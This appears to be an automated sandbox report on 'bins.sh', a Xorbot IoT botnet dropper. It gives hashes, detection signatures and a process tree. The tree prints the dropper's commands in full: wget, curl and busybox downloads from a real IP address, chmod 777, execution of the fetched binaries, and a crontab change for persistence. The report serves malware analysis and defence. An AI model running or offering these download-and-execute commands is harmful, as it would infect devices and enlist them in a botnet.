Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    14/12/2024, 03:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    21d9061cd96a1588f3c6dcb8fa140a60

  • SHA1

    0efd102495e37192c6b694413ce46bed5bac8026

  • SHA256

    e33425dc169277128881be12ab52e7ae8f2072479f15b71e125b5f43c61b9de0

  • SHA512

    6962a8480f12d364ac515953a856240c1621888f7d5a025d2056e86cfb3deb9553758de328eec3a244985e7dbc475391353ae3ae1cc3e41a35ad3c6ca4be4390

  • SSDEEP

    192:dDHu33wjAodqJsIqjfEPf9ntRg/hx32XmSZC6BMusoXAgXAodqJsEDHu33EtRg/K:TjAodosIqjfEPfa2XmSZC6BMeAodosYh

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1943) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:714
        • /usr/bin/wget
          wget http://37.44.238.68/bins/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb
          2⤵
          • Writes file to tmp directory
          PID:716
        • /usr/bin/curl
          curl -O http://37.44.238.68/bins/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://37.44.238.68/bins/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/chmod
          chmod 777 4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb
          ./4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb
          2⤵
          • Executes dropped EXE
          PID:742
        • /bin/rm
          rm 4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb
          2⤵
            PID:744
          • /usr/bin/wget
            wget http://37.44.238.68/bins/Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O
            2⤵
            • Writes file to tmp directory
            PID:745
          • /usr/bin/curl
            curl -O http://37.44.238.68/bins/Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O
            2⤵
            • Writes file to tmp directory
            PID:746
          • /bin/busybox
            /bin/busybox wget http://37.44.238.68/bins/Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O
            2⤵
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O
            ./Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O
            2⤵
            • Executes dropped EXE
            PID:749
          • /bin/rm
            rm Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O
            2⤵
              PID:751
            • /usr/bin/wget
              wget http://37.44.238.68/bins/JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD
              2⤵
              • Writes file to tmp directory
              PID:752
            • /usr/bin/curl
              curl -O http://37.44.238.68/bins/JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD
              2⤵
              • Writes file to tmp directory
              PID:753
            • /bin/busybox
              /bin/busybox wget http://37.44.238.68/bins/JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD
              2⤵
              • Writes file to tmp directory
              PID:754
            • /bin/chmod
              chmod 777 JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD
              2⤵
              • File and Directory Permissions Modification
              PID:755
            • /tmp/JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD
              ./JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD
              2⤵
              • Executes dropped EXE
              PID:756
            • /bin/rm
              rm JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD
              2⤵
                PID:758
              • /usr/bin/wget
                wget http://37.44.238.68/bins/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY
                2⤵
                • Writes file to tmp directory
                PID:759
              • /usr/bin/curl
                curl -O http://37.44.238.68/bins/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY
                2⤵
                • Writes file to tmp directory
                PID:762
              • /bin/busybox
                /bin/busybox wget http://37.44.238.68/bins/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY
                2⤵
                • Writes file to tmp directory
                PID:773
              • /bin/chmod
                chmod 777 lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY
                2⤵
                • File and Directory Permissions Modification
                PID:777
              • /tmp/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY
                ./lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:778
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:781
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:782
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:783
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:785
                  • /bin/rm
                    rm lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY
                    2⤵
                      PID:795
                    • /usr/bin/wget
                      wget http://37.44.238.68/bins/2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF9
                      2⤵
                        PID:799
                      • /usr/bin/curl
                        curl -O http://37.44.238.68/bins/2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF9
                        2⤵
                          PID:882
                        • /bin/busybox
                          /bin/busybox wget http://37.44.238.68/bins/2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF9
                          2⤵
                          • Writes file to tmp directory
                          PID:885
                        • /bin/chmod
                          chmod 777 2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF9
                          2⤵
                          • File and Directory Permissions Modification
                          PID:897
                        • /tmp/2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF9
                          ./2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF9
                          2⤵
                          • Executes dropped EXE
                          PID:902
                        • /bin/rm
                          rm 2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF9
                          2⤵
                            PID:903
                          • /usr/bin/wget
                            wget http://37.44.238.68/bins/eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW
                            2⤵
                              PID:905
                            • /usr/bin/curl
                              curl -O http://37.44.238.68/bins/eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW
                              2⤵
                                PID:910
                              • /bin/busybox
                                /bin/busybox wget http://37.44.238.68/bins/eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW
                                2⤵
                                • Writes file to tmp directory
                                PID:912
                              • /bin/chmod
                                chmod 777 eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW
                                2⤵
                                • File and Directory Permissions Modification
                                PID:919
                              • /tmp/eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW
                                ./eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW
                                2⤵
                                • Executes dropped EXE
                                PID:920
                              • /bin/rm
                                rm eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW
                                2⤵
                                  PID:923
                                • /usr/bin/wget
                                  wget http://37.44.238.68/bins/qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy
                                  2⤵
                                    PID:924
                                  • /usr/bin/curl
                                    curl -O http://37.44.238.68/bins/qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy
                                    2⤵
                                      PID:927
                                    • /bin/busybox
                                      /bin/busybox wget http://37.44.238.68/bins/qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:928
                                    • /bin/chmod
                                      chmod 777 qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:933
                                    • /tmp/qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy
                                      ./qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy
                                      2⤵
                                      • Executes dropped EXE
                                      PID:934
                                    • /bin/rm
                                      rm qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy
                                      2⤵
                                        PID:937
                                      • /usr/bin/wget
                                        wget http://37.44.238.68/bins/gKfEzPQvKiNARUevJcGLOieFLlb9t3fqhq
                                        2⤵
                                          PID:938
                                        • /usr/bin/curl
                                          curl -O http://37.44.238.68/bins/gKfEzPQvKiNARUevJcGLOieFLlb9t3fqhq
                                          2⤵
                                            PID:939
                                          • /bin/busybox
                                            /bin/busybox wget http://37.44.238.68/bins/gKfEzPQvKiNARUevJcGLOieFLlb9t3fqhq
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:940
                                          • /bin/chmod
                                            chmod 777 gKfEzPQvKiNARUevJcGLOieFLlb9t3fqhq
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1012
                                          • /tmp/gKfEzPQvKiNARUevJcGLOieFLlb9t3fqhq
                                            ./gKfEzPQvKiNARUevJcGLOieFLlb9t3fqhq
                                            2⤵
                                            • Executes dropped EXE
                                            PID:1013
                                          • /bin/rm
                                            rm gKfEzPQvKiNARUevJcGLOieFLlb9t3fqhq
                                            2⤵
                                              PID:1015
                                            • /usr/bin/wget
                                              wget http://37.44.238.68/bins/CGOMEUqGxNCUmeK3AQXOtS16jggDzLTRNI
                                              2⤵
                                                PID:1016

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • /tmp/2FnzgXsZcZw61NF8Dbdnvf2Xxjr6KKcLF9

                                              Filesize

                                              107KB

                                              MD5

                                              eb9c3a0de91fcf16ba17cb24608df68c

                                              SHA1

                                              09d95a7d70d5e115d103be51edff7c498d272fac

                                              SHA256

                                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                              SHA512

                                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                            • /tmp/4hlxXrNhjWUV3rnBAySgg0J1zD9n4PLmjb

                                              Filesize

                                              117KB

                                              MD5

                                              849fa04ef88a8e8de32cb2e8538de5fe

                                              SHA1

                                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                              SHA256

                                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                              SHA512

                                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                            • /tmp/JOJdK71Bpr634tpryNQPJWSCmZKXa6dqLD

                                              Filesize

                                              177KB

                                              MD5

                                              786d75a158fe731feca3880f436082c0

                                              SHA1

                                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                              SHA256

                                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                              SHA512

                                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                            • /tmp/Q3a5UAcmDykmJNt765TnAj0BQqo7DOpR9O

                                              Filesize

                                              112KB

                                              MD5

                                              05d7857dcead18bbd86d2935f591873c

                                              SHA1

                                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                                              SHA256

                                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                              SHA512

                                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                            • /tmp/eaVnEsZQSTVJfYgQws7CrUcpoOZDH6RflW

                                              Filesize

                                              111KB

                                              MD5

                                              ca897a38f23ec23521ce0b1b83f8422d

                                              SHA1

                                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                              SHA256

                                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                              SHA512

                                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                            • /tmp/gKfEzPQvKiNARUevJcGLOieFLlb9t3fqhq

                                              Filesize

                                              98KB

                                              MD5

                                              5141342d0df8699fa32a6b066a0c592e

                                              SHA1

                                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                                              SHA256

                                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                              SHA512

                                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                            • /tmp/lUNG83dtj90Njn3ByGrkxypyxlzX0UdLzY

                                              Filesize

                                              151KB

                                              MD5

                                              3c90d5820bddcf7c5d1bd21dfa49d958

                                              SHA1

                                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                              SHA256

                                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                              SHA512

                                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                            • /tmp/qrmfBQiMyNacVucS3CoshlP5M1Ujrd6fiy

                                              Filesize

                                              99KB

                                              MD5

                                              9438d9bc392bcf300a5583b6df5bc8f6

                                              SHA1

                                              375a6ae34b516f6f3eeea8030c4084f585017efa

                                              SHA256

                                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                              SHA512

                                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                            • /var/spool/cron/crontabs/tmp.78eKn8

                                              Filesize

                                              210B

                                              MD5

                                              f7950e5aee2057aaf62238e6eb858327

                                              SHA1

                                              a7b9cc9acc04cbbbe475691c476a3e8f7b4dd715

                                              SHA256

                                              0ae8ce7550f1b7a9d91ffa203de7a3a8c8bf5b9fddfbcb96e5a2aedc21245cf8

                                              SHA512

                                              76b5978bf5a88bddeb96a8c2675db627edb6f9452e9ee9dd33e0e7fbcd0ae4f3e2d3ddbd237af1215166a99407324fb7afd84f79258d1ee2f450fe4048130a8d